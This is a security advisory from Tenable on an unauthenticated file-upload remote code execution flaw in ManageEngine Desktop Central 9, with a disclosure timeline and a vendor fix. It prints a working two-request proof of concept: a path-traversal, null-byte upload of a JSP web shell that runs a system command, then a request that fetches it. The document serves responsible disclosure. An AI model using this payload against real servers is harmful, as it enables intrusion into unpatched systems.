Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] ManageEngine Desktop Central /statusUpdate fileName Parameter Traversal Multiple Extension File Upload Remote Code Execution

Critical

Synopsis

ManageEngine Desktop Central contains a flaw that may allow an unauthenticated attacker to execute remote code. The vulnerability is due to the 'applicationName' parameter not being sanitized, and the fact that the 'fileName' parameter can be constructed such that it can pass various checks but still end up with a .JSP extension. The following example shows the output:

[mamort@park]$ nasl -WaXt 192.168.0.99 medc_fileupload_rce_91082.nasl
Nessus was able to exploit the issue using the following requests :
------------------------------ Request #1------------------------------
POST /statusUpdate?actionToCall=3&actions=2&domainName=Nessus_dom&customerId=1&configDataID=1&computerName=db-dev&applicationName=../../../../../&fileName=medc_fileupload_rce_91082.jsp%00.log HTTP/1.1
Host: 192.168.0.99:8020
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: text/html
Connection: Keep-Alive
Content-Length: 383
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /
%@ page import="java.io.*" %>
%
String output = "";
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C ipconfig /all");
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null)
{ output += "\n"+ s; }
}
catch(IOException e)
{ e.printStackTrace(); }
%>
%=output %>

------------------------------ Request #2------------------------------
GET /medc_fileupload_rce_91082.jsp HTTP/1.1
Host: 192.168.0.99:8020
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /

This produced the following truncated output (limited to 10 lines) :
------------------------------ snip ------------------------------

Windows IP Configuration
Host Name . . . . . . . . . . . . : db-w2k8-vm82
Primary Dns Suffix . . . . . . . :
[...]
------------------------------ snip ------------------------------

In addition, there are many places where a full-path file name is constructed from user-supplied POST URL parameters (some of which are not sanitized) and user-supplied POST data is written to the file. With the ability to early-terminate Java string concatenation such as:

String refreshFileName = customerId + "" + computer + "" + domain + ".txt";

An attacker can likely drop a .JSP file with their chosen content in an arbitrary directory location (e.g., ), and still able to pass file name checks like:

// Check for directory traversal and make sure the file name ends with certain extension(s) 
FileUploadUtil.hasVulnerabilityInFileName(fileName, "log");

As such, there are likely many other attack vectors for a remote file upload that would lead to remote code execution. This could be more serious for MSP edition of the ManageEngine Desktop Central where it's likely to be Internet facing.


Due to extensive delays in obtaining CVE assignments through 2015, Tenable has adopted a more open CNA assignment system and is assigning our own CVE ID that we feel will not conflict with any current assignments or CNA pools. This will assist researchers and vendors in referencing this vulnerability should they work with the named vendor, or other vendors impacted by the issue. Per this system, Tenable will self-assign CVE IDs in the range of CVE-YEAR-82000 through CVE-YEAR-82999. These can be added to the master CVE database trivially, as seen by CVE-2014-999999. This is being done primarily so that we continue to be CVE-Compatible.

Solution

The vendor has released ManageEngine Desktop Central 9 Build 91100 to address this issue.

Disclosure Timeline

2015-10-19 - Issue Discovered
2015-10-22 - Submitted to ZDI
2015-10-25 - ZDI declines offer
2015-10-29 - Submitted to iDefense via VCP Portal. Message says will reply within 2 days
2015-11-24 - Ping [email protected] asking for status
2015-11-25 - iDefense declines offer
2015-12-04 - Reported to vendor via [email protected]
2015-12-04 - Automatic reply, ##20960 assigned
2015-12-04 - Vendor acknowledgement, looking into it
2015-12-09 - Vendor says next version will fix this and other disclosed RCE issues
2015-12-11 - Vendor says fix due in ~ 1 week
2015-12-14 - Build 91100 released, fixing the issue

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2015-82001
Tenable Advisory ID: TRA-2015-07
Credit:
Tenable Network Security
CVSSv2 Base / Temporal Score:
10.0 / 8.3
CVSSv2 Vector:
(AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C)
Affected Products:
ManageEngine Desktop Central 9 Build 91082
ManageEngine Desktop Central 9 Build 91092
Risk Factor:
Critical

Advisory Timeline

2015-12-14 - [R1] Initial Release, Title touch-up